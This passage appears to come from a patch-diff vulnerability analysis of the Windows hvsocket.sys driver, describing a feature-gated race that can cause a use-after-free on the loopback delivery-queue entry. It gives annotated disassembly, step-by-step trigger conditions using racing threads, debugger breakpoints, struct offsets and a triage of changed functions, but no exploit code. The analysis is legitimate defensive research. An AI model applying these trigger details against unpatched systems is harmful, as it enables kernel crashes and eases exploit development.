&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A13:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A17:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A23:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; save IRQL&lt;/span&gt;

&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A26:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x2B8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; read head (no lock if gate off)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A2D:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x2B8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; clear head (no lock if gate off)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A35:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A38:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007A4E&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A3A:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A3E:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_1274333499__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; check #2&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A43:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A45:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007A50&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A47:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A4C:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007A50&lt;/span&gt;

&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A50:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_1274333499__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; check #3&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A55:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A57:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007A6C&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A59:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A60:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; release only if gate on&lt;/span&gt;

&lt;span class="c1"&gt;; later in the free path:&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007BD3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; atomic reference-count decrement -&amp;gt; free&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Open the target interface.&lt;/strong&gt; From user mode, create an HV socket:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;socket(AF_HYPERV, SOCK_STREAM, HV_PROTOCOL_RAW)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bind&lt;/code&gt; with &lt;code&gt;SOCKADDR_HV&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;listen()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Establish a loopback connection.&lt;/strong&gt; A second socket in the same partition performs &lt;code&gt;connect()&lt;/code&gt; to the listener — this builds the &lt;code&gt;VmbusTl&lt;/code&gt; loopback endpoint whose &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt; delivery-queue head is the shared pointer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spawn two racing threads:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thread A (reader):&lt;/strong&gt; repeatedly &lt;code&gt;send()&lt;/code&gt; / drive receive completion on the connected socket. This dispatches into &lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; (&lt;code&gt;sub_1C0007388&lt;/code&gt;) and &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (&lt;code&gt;sub_1C0007CF0&lt;/code&gt;), whose gate-off branch reads &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt; unsynchronized.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thread B (freer):&lt;/strong&gt; repeatedly closes and re-establishes the connection, invoking &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;sub_1C00079D0&lt;/code&gt;), which clears the head and drops the entry's reference count, freeing it via &lt;code&gt;ExFreePoolWithTag(..., 'Vnpi')&lt;/code&gt; when it reaches zero.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race window.&lt;/strong&gt; The window is a handful of instructions between the head read at &lt;code&gt;0x1C0007E43&lt;/code&gt; and the dereference at &lt;code&gt;0x1C0007E4F&lt;/code&gt;. Reachability of the unsynchronized branch depends on the &lt;code&gt;Feature_1274333499&lt;/code&gt; feature state on the running build, which is not observable from the static image.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect (if the race fires):&lt;/strong&gt; a fault dereferencing a freed delivery-queue entry at &lt;code&gt;0x1C0007E4F&lt;/code&gt;/&lt;code&gt;0x1C0007E63&lt;/code&gt;, or a reference-count fail-fast (&lt;code&gt;int 29h&lt;/code&gt;, &lt;code&gt;RtlFailFast&lt;/code&gt;) from the mismatched decrement.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; A race on the per-endpoint loopback delivery-queue entry, a &lt;code&gt;Vnpi&lt;/code&gt;-tagged nonpaged-pool object. In the unsynchronized branch the code reads the head without the endpoint spinlock and without incrementing the entry's reference count, then later decrements a reference it never took; concurrently &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; can clear the head and free the entry. The demonstrable consequences are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dereference of a delivery-queue entry that a concurrent disconnect may have freed (use-after-free read/write at &lt;code&gt;[rdi+0x68]&lt;/code&gt; / &lt;code&gt;[rdi+0x210]&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Reference-count imbalance on the entry, which the driver guards with &lt;code&gt;RtlFailFast&lt;/code&gt; (&lt;code&gt;int 29h&lt;/code&gt;) on underflow — a bugcheck, not silent corruption, on the paths observed here.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The entry's destructor-style dispatch at &lt;code&gt;[entry+0x50]&lt;/code&gt; is invoked through &lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt; (Control Flow Guard), so it is not a free indirect-call primitive. No arbitrary read/write, information-leak, or control-flow-hijack primitive is demonstrable from these binaries; those would require assumptions about pool reuse and object contents that the binaries do not support. The realistic impact is a kernel race that can manifest as a use-after-free / bugcheck (denial of service) on the loopback path, reachable only where &lt;code&gt;hvsocket.sys&lt;/code&gt; loopback is available and the unsynchronized feature branch is active. This supports a Medium rating.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugging Notes&lt;/h2&gt;
&lt;p&gt;Assume &lt;code&gt;hvsocket_unpatched.sys&lt;/code&gt; is loaded and a kernel debugger is attached. Use the loaded module base to translate the RVAs below (listed against the analyzed image base &lt;code&gt;0x1C0000000&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;; Primary function — observe gate and branch selection
bp hvsocket_unpatched!VmbusTlLoopbackNotifyReceiveConsumed+0x12   ; 0x1C0007D02 — gate call
bp 0x1C0007E43                                                    ; unsynchronized head read

; Concurrent disconnect (writer side)
bp hvsocket_unpatched!VmbusTlLoopbackDisconnect                   ; entry — rcx = endpoint
bp 0x1C0007A26                                                    ; head read/clear (no lock if gate off)
bp 0x1C0007BD3                                                    ; lock xadd [rsi+0x8] (reference decrement)

; Synchronized helper (gate-on / patched path)
bp hvsocket_unpatched!VmbusTlLoopbackReferenceEndpointDeliveryQueue

; WIL feature gate
bp hvsocket_unpatched!Feature_1274333499__private_IsEnabledDeviceUsage
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to inspect&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; entry:&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt; = endpoint. &lt;code&gt;poi(rcx+0x2B8)&lt;/code&gt; is the shared delivery-queue head.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;After the gate call (&lt;code&gt;0x1C0007D07&lt;/code&gt;):&lt;/strong&gt; &lt;code&gt;eax == 0&lt;/code&gt; selects the unsynchronized branch; non-zero selects the synchronized helper.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1C0007E43&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;rbx&lt;/code&gt; = endpoint; &lt;code&gt;poi(rbx+0x2B8)&lt;/code&gt; is the head being read without the lock.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1C0007E4F&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;rdi&lt;/code&gt; is the entry; &lt;code&gt;poi(rdi+0x68)&lt;/code&gt; is the back-pointer being dereferenced.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At the three gate calls in &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;0x1C0007A0A&lt;/code&gt;, &lt;code&gt;0x1C0007A3E&lt;/code&gt;, &lt;code&gt;0x1C0007A50&lt;/code&gt;):&lt;/strong&gt; each is an independent evaluation of the same feature state.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1C0007BD3&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;lock xadd [rsi+0x8], rax&lt;/code&gt; decrements the entry's reference count; reaching zero leads to &lt;code&gt;ExFreePoolWithTag(rsi, 'Vnpi')&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Key instruction offsets (RVA from &lt;code&gt;0x1C0000000&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x7D02&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Feature-gate call selecting the branch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x7D09&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jz&lt;/code&gt; to the unsynchronized branch when the gate is off&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x7E43&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unsynchronized head read (&lt;code&gt;mov rdi,[rbx+0x2B8]&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x7E4F&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Entry back-pointer dereference (&lt;code&gt;mov rdi,[rdi+0x68]&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x7E63&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Flag write (&lt;code&gt;or dword [rdi+0x210], 2&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x7A0A / +0x7A3E / +0x7A50&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Three feature-gate evaluations in disconnect&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x7A26&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Disconnect's unsynchronized &lt;code&gt;[rbx+0x2B8]&lt;/code&gt; read/clear&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x7BD3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Atomic reference-count decrement → free&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Struct layout (observed from the free/dispatch paths)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Loopback endpoint object (arg1):
  +0x10   FAST_MUTEX          (held during these routines)
  +0x48   KSPIN_LOCK          (the lock skipped on the gate-off branch)
  +0x2B8  delivery-queue head pointer (unsynchronized read target; decompiled as endpoint[0x57])
  +0x70   parent provider/listener object

Delivery-queue entry object (tag &amp;#39;Vnpi&amp;#39;, 0x69706E56):
  +0x08   LONG reference count  (atomic; lock xadd at 0x1C0007BD3)
  +0x50   destructor function pointer (invoked via __guard_dispatch_icall_fptr / CFG)
  +0x58   free-mode selector    (1 = ExFreePoolWithTag, 2 = SLIST return)
  +0x60   SLIST_HEADER*         (lookaside/return list)
  +0x68   back-pointer to endpoint object (dereferenced on the racing branch)
  +0x210  status flags          (target of the &amp;#39;or dword [...,0x210], 2&amp;#39; write)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-relevant (covered above)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Sim.&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (&lt;code&gt;sub_1C0007CF0&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.839&lt;/td&gt;
&lt;td&gt;security&lt;/td&gt;
&lt;td&gt;Feature-gated unsynchronized head read → race/UAF; patch always uses the synchronized helper.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; (&lt;code&gt;sub_1C0007388&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.883&lt;/td&gt;
&lt;td&gt;security&lt;/td&gt;
&lt;td&gt;Same pattern on the send path (&lt;code&gt;[r15+0x2B8]&lt;/code&gt; read on the gate-off branch).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;sub_1C00079D0&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.915&lt;/td&gt;
&lt;td&gt;security&lt;/td&gt;
&lt;td&gt;Writer side: gate-off branch clears &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt; without the spinlock; patch acquires/releases unconditionally.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackAcceptConnection&lt;/code&gt; (&lt;code&gt;sub_1C001D700&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.781&lt;/td&gt;
&lt;td&gt;security&lt;/td&gt;
&lt;td&gt;Same unsynchronized &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt; read on the gate-off branch; patched to always use the synchronized helper.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlNotifyListenerAccept&lt;/code&gt; (&lt;code&gt;sub_1C0006C9C&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.803&lt;/td&gt;
&lt;td&gt;security&lt;/td&gt;
&lt;td&gt;Gate-gated reference handling on the delivery queue; patch unifies to the synchronized path.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlProcessNewConnectionForListener&lt;/code&gt; (&lt;code&gt;sub_1C001BEF4&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.981&lt;/td&gt;
&lt;td&gt;low&lt;/td&gt;
&lt;td&gt;Two gate evaluations removed; acceptance field read unconditionally. No demonstrable exploitable impact.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlProviderListen&lt;/code&gt; (&lt;code&gt;sub_1C0020570&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.598&lt;/td&gt;
&lt;td&gt;security&lt;/td&gt;
&lt;td&gt;Feature-gated dual path for listener setup; patch unifies to the single synchronized path (large reduction in pseudo-C size). Establishes the loopback context the others operate on.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Behavioral (not directly exploitable)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VmbusTlLoopbackSetupConnection&lt;/code&gt; (&lt;code&gt;sub_1C001D290&lt;/code&gt;)&lt;/strong&gt; (0.848): Error-path cleanup changed from a gate-conditional to an unconditional cleanup call. Runs inside the fast mutex; consistency change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VmbusTlCommonConnectCompletion&lt;/code&gt; (&lt;code&gt;sub_1C0003254&lt;/code&gt;)&lt;/strong&gt; (0.964): Removes a gate guard around a reference decrement on the abort path, making the decrement unconditional (fixes a potential reference leak on the gate-off branch, not a UAF).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;WIL feature-staging library churn (not security-relevant)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/code&gt; (&lt;code&gt;sub_1C00023EC&lt;/code&gt;)&lt;/strong&gt; (0.818): WIL feature-state cache helper; &lt;code&gt;arg3&lt;/code&gt; parameter dropped as the state source moves to the module's feature-state global. Library infrastructure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt; (&lt;code&gt;sub_1C0002358&lt;/code&gt;)&lt;/strong&gt; (0.954): WIL feature-state fallback helper. Library infrastructure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wil_details_FeatureReporting_ReportUsageToServiceDirect&lt;/code&gt; (&lt;code&gt;sub_1C0001DFC&lt;/code&gt;)&lt;/strong&gt; (0.977): WIL feature-usage reporting helper; uses the module feature-reporting singleton. Library infrastructure.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Cosmetic / compiler-driven&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wil_details_FeatureReporting_ReportUsageToService&lt;/code&gt; (&lt;code&gt;sub_1C0001EE4&lt;/code&gt;)&lt;/strong&gt; (0.990): WIL reporting wrapper; compiler restructured an if-else dispatch into a subtract-and-compare cascade. Functionally equivalent.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Feature_1043374394__private_IsEnabledFallback&lt;/code&gt; (&lt;code&gt;sub_1C00040A8&lt;/code&gt;)&lt;/strong&gt; (0.674): Small WIL fallback stub for a different feature ID; updated for relocated targets. No security impact.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None. Both &lt;code&gt;unmatched_unpatched&lt;/code&gt; and &lt;code&gt;unmatched_patched&lt;/code&gt; are &lt;code&gt;0&lt;/code&gt;. No sanitizer or helper was added or removed wholesale — the change is a code-path unification inside existing functions: the WIL feature gate is deleted (18 gate call sites in the unpatched build across 9 functions; 0 in the patched build) and the synchronized helper is called unconditionally.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High for the structural diagnosis; Medium for real-world reachability.&lt;/p&gt;
&lt;p&gt;Rationale:
- The feature-gated dual-path pattern is reproduced across the affected functions and corroborated by direct assembly. The unsynchronized read at &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt; and the subsequent &lt;code&gt;[+0x68]&lt;/code&gt; dereference on the gate-off branch, versus the lock-then-read behavior of &lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt;, are unambiguous. The patch removes the gate and calls the synchronized helper unconditionally in every affected function.
- The gate is the WIL feature &lt;code&gt;Feature_1274333499__private_IsEnabledDeviceUsage&lt;/code&gt;, which reads &lt;code&gt;Feature_1274333499__private_featureState&lt;/code&gt; and falls back to &lt;code&gt;Feature_1274333499__private_IsEnabledFallback&lt;/code&gt;. Whether the feature is enabled by default — and thus whether the unsynchronized branch runs on a default deployment — is not determinable from the static image.
